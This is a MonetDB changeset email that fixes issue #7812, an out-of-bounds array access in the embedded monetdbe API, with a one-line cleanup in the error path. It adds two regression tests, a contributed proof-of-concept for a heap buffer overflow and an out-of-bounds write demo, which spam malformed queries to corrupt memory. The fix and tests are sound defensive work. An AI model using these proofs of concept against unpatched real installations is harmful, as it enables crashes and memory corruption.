Changeset: a872ae854210 for MonetDB
URL: https://dev.monetdb.org/hg/MonetDB/rev/a872ae854210
Added Files:
        ctest/tools/monetdbe/Tests/demo_oob_read.sh
        ctest/tools/monetdbe/Tests/demo_oob_write.sh
        ctest/tools/monetdbe/demo_oob_read.c
        ctest/tools/monetdbe/demo_oob_write.c
Modified Files:
        MonetDB.spec
        ctest/tools/monetdbe/CMakeLists.txt
        ctest/tools/monetdbe/Tests/All
        debian/monetdb-embedded-testing.install
        tools/monetdbe/monetdbe.c
Branch: Dec2025
Log Message:

add fix for issue #7812

Properly cleanup the variables on error. Besides the cleanup, this
resets the vtop to 1, solving the out of bound array access reported
in issue #7812.

The tests were provided by @LeeSinLiang from Team-Atlanta, much appreciated.


diffs (262 lines):

diff --git a/MonetDB.spec b/MonetDB.spec
--- a/MonetDB.spec
+++ b/MonetDB.spec
@@ -868,6 +868,8 @@ package.  You probably don't need this, 
 %{_bindir}/example_proxy
 %{_bindir}/example_sessions
 %{_bindir}/example_temporal
+%{_bindir}/demo_oob_read
+%{_bindir}/demo_oob_write
 
 %package testing-python
 Summary: MonetDB - Monet Database Management System
diff --git a/ctest/tools/monetdbe/CMakeLists.txt 
b/ctest/tools/monetdbe/CMakeLists.txt
--- a/ctest/tools/monetdbe/CMakeLists.txt
+++ b/ctest/tools/monetdbe/CMakeLists.txt
@@ -90,6 +90,20 @@ if(NOT MONETDB_STATIC)
     monetdbe)
   add_test(NAME run_example_sessions COMMAND example_sessions)
 
+  add_executable(demo_oob_read demo_oob_read.c)
+  target_link_libraries(demo_oob_read
+    PRIVATE
+    monetdb_config_header
+    monetdbe)
+  add_test(NAME run_demo_oob_read COMMAND demo_oob_read)
+
+  add_executable(demo_oob_write demo_oob_write.c)
+  target_link_libraries(demo_oob_write
+    PRIVATE
+    monetdb_config_header
+    monetdbe)
+  add_test(NAME run_demo_oob_write COMMAND demo_oob_write)
+
   if(WITH_CMOCKA)
     add_executable(cmocka_test cmocka_test.c test_helper.c)
     target_include_directories(cmocka_test PRIVATE "${CMOCKA_INCLUDE_DIR}")
@@ -120,6 +134,8 @@ if(NOT MONETDB_STATIC)
       example_proxy
       example_sessions
       example_temporal
+      demo_oob_read
+      demo_oob_write
       DESTINATION ${CMAKE_INSTALL_BINDIR}
       COMPONENT mbeddedtest)
 
diff --git a/ctest/tools/monetdbe/Tests/All b/ctest/tools/monetdbe/Tests/All
--- a/ctest/tools/monetdbe/Tests/All
+++ b/ctest/tools/monetdbe/Tests/All
@@ -10,3 +10,5 @@ example_decimals
 example_proxy
 example_sessions
 example_temporal
+demo_oob_read
+demo_oob_write
diff --git a/ctest/tools/monetdbe/Tests/demo_oob_read.sh 
b/ctest/tools/monetdbe/Tests/demo_oob_read.sh
new file mode 100755
--- /dev/null
+++ b/ctest/tools/monetdbe/Tests/demo_oob_read.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+demo_oob_read > /dev/null
diff --git a/ctest/tools/monetdbe/Tests/demo_oob_write.sh 
b/ctest/tools/monetdbe/Tests/demo_oob_write.sh
new file mode 100755
--- /dev/null
+++ b/ctest/tools/monetdbe/Tests/demo_oob_write.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+demo_oob_write > /dev/null
diff --git a/ctest/tools/monetdbe/demo_oob_read.c 
b/ctest/tools/monetdbe/demo_oob_read.c
new file mode 100644
--- /dev/null
+++ b/ctest/tools/monetdbe/demo_oob_read.c
@@ -0,0 +1,109 @@
+/*
+ * MonetDB heap-buffer-overflow PoC
+ * Triggers OOB read/write in findVariable()/setVarType() via monetdbe API.
+ *
+ * Build: gcc -fsanitize=address -g poc.c -o poc -lmonetdbe -lpthread -lm -ldl
+ * Run:   ./poc [rounds]
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "monetdbe.h"
+
+static const char *crash_inputs[] = {
+    "=-",
+    "\x8d\x0a\x0a",
+    "++++\x07",
+    "{{{{{{{{{{{{",
+    "CREATE FUNCTION bad AS '",
+    "SELECT * FROM {{{{",
+    NULL
+};
+
+static const char *junk_queries[] = {
+    "INVALID",
+    "SELECT * FROM nonexistent_xyz",
+    "CREATE FUNCTION",
+    "{{syntax error}}",
+    "SELECT ''''''''",
+    "CREATE TABLE",
+    "DROP SCHEMA nope CASCADE",
+    "CALL nope()",
+    "ALTER TABLE nope ADD COLUMN x INT",
+    NULL
+};
+
+int main(int argc, char **argv)
+{
+    monetdbe_database db = NULL;
+    monetdbe_result *result = NULL;
+    char *err;
+    int errors = 0;
+    int rounds = 5000;
+
+    if (argc > 1)
+        rounds = atoi(argv[1]);
+
+    printf("monetdb heap-buffer-overflow poc\n");
+    printf("rounds: %d\n\n", rounds);
+
+    /* open db */
+    monetdbe_options opts = {0};
+    opts.memorylimit = 256;
+    opts.nr_threads = 1;
+
+    int errn = monetdbe_open(&db, NULL, &opts);
+    if (errn) {
+        fprintf(stderr, "open failed: %d\n", errn);
+        return 1;
+    }
+
+    /* setup */
+    monetdbe_query(db, "CREATE TABLE t (id INT, name VARCHAR(100))", &result, 
NULL);
+    if (result) monetdbe_cleanup_result(db, result);
+    result = NULL;
+
+    monetdbe_query(db, "INSERT INTO t VALUES (1, 'test')", &result, NULL);
+    if (result) monetdbe_cleanup_result(db, result);
+    result = NULL;
+
+    /* spam error queries to push vtop past vsize */
+    printf("sending junk queries...\n");
+    for (int r = 0; r < rounds; r++) {
+        for (int i = 0; junk_queries[i]; i++) {
+            result = NULL;
+            err = monetdbe_query(db, (char *)junk_queries[i], &result, NULL);
+            if (err) errors++;
+            if (result) monetdbe_cleanup_result(db, result);
+        }
+        if (r && r % 1000 == 0)
+            printf("  %d rounds, %d errors\n", r, errors);
+    }
+    printf("done: %d rounds, %d errors\n\n", rounds, errors);
+
+    /* send crash inputs - should trigger OOB if vtop > vsize */
+    printf("sending crash inputs...\n");
+    for (int i = 0; crash_inputs[i]; i++) {
+        result = NULL;
+        err = monetdbe_query(db, (char *)crash_inputs[i], &result, NULL);
+        if (err)
+            printf("  [%d] err: %.60s\n", i, err);
+        if (result) monetdbe_cleanup_result(db, result);
+    }
+
+    /* try normal query on potentially corrupted state */
+    printf("\nnormal query after corruption:\n");
+    result = NULL;
+    err = monetdbe_query(db, "SELECT * FROM t", &result, NULL);
+    if (err)
+        printf("  failed: %s\n", err);
+    else if (result) {
+        printf("  got %zu rows\n", (size_t)result->nrows);
+        monetdbe_cleanup_result(db, result);
+    }
+
+    monetdbe_close(db);
+    printf("\ndone. if asan didn't fire, try more rounds: %s 10000\n", 
argv[0]);
+    return 0;
+}
diff --git a/ctest/tools/monetdbe/demo_oob_write.c 
b/ctest/tools/monetdbe/demo_oob_write.c
new file mode 100644
--- /dev/null
+++ b/ctest/tools/monetdbe/demo_oob_write.c
@@ -0,0 +1,55 @@
+/*
+ * MonetDB OOB write demo.
+ *
+ * Uses patched findVariable() that returns OOB index instead of
+ * crashing on the read. This lets setVarType() execute the write,
+ * proving the write primitive exists behind the read crash.
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "monetdbe.h"
+
+static const char *junk[] = {
+    "INVALID", "CREATE FUNCTION", "{{bad}}", "SELECT ''''",
+    "DROP SCHEMA nope CASCADE", "CALL nope()", NULL
+};
+
+int main(void)
+{
+    monetdbe_database db = NULL;
+    monetdbe_result *result = NULL;
+    int errors = 0;
+
+    monetdbe_options opts = {0};
+    opts.memorylimit = 256;
+    opts.nr_threads = 1;
+
+    int errn = monetdbe_open(&db, NULL, &opts);
+    if (errn) {
+        fprintf(stderr, "open failed: %d\n", errn);
+        return 1;
+    }
+
+    printf("oob write demo (patched findVariable to skip read crash)\n\n");
+
+    printf("accumulating vtop...\n");
+    for (int r = 0; r < 10000; r++) {
+        for (int i = 0; junk[i]; i++) {
+            result = NULL;
+            monetdbe_query(db, (char *)junk[i], &result, NULL);
+            if (result) monetdbe_cleanup_result(db, result);
+            errors++;
+        }
+    }
+    printf("done: %d errors\n\n", errors);
+
+    printf("triggering oob write via setVarType...\n");
+    result = NULL;
+    monetdbe_query(db, "SELECT 1", &result, NULL);
+    if (result) monetdbe_cleanup_result(db, result);
+
+    printf("if ASAN reports a WRITE, oob write is confirmed\n");
+    monetdbe_close(db);
+    return 0;
+}
diff --git a/debian/monetdb-embedded-testing.install 
b/debian/monetdb-embedded-testing.install
--- a/debian/monetdb-embedded-testing.install
+++ b/debian/monetdb-embedded-testing.install
@@ -10,3 +10,5 @@ debian/tmp/usr/bin/example_decimals usr/
 debian/tmp/usr/bin/example_proxy usr/bin
 debian/tmp/usr/bin/example_sessions usr/bin
 debian/tmp/usr/bin/example_temporal usr/bin
+debian/tmp/usr/bin/demo_oob_read usr/bin
+debian/tmp/usr/bin/demo_oob_write usr/bin
diff --git a/tools/monetdbe/monetdbe.c b/tools/monetdbe/monetdbe.c
--- a/tools/monetdbe/monetdbe.c
+++ b/tools/monetdbe/monetdbe.c
@@ -430,6 +430,7 @@ cleanup:
        if (nq)
                GDKfree(nq);
        MSresetInstructions(c->curprg->def, 1);
+       freeVariables(c, c->curprg->def, NULL, 1);
        if (fdin_changed) { //c->fdin was set
                bstream_destroy(c->fdin);
                c->fdin = old_bstream;
_______________________________________________
checkin-list mailing list -- [email protected]
To unsubscribe send an email to [email protected]

Reply via email to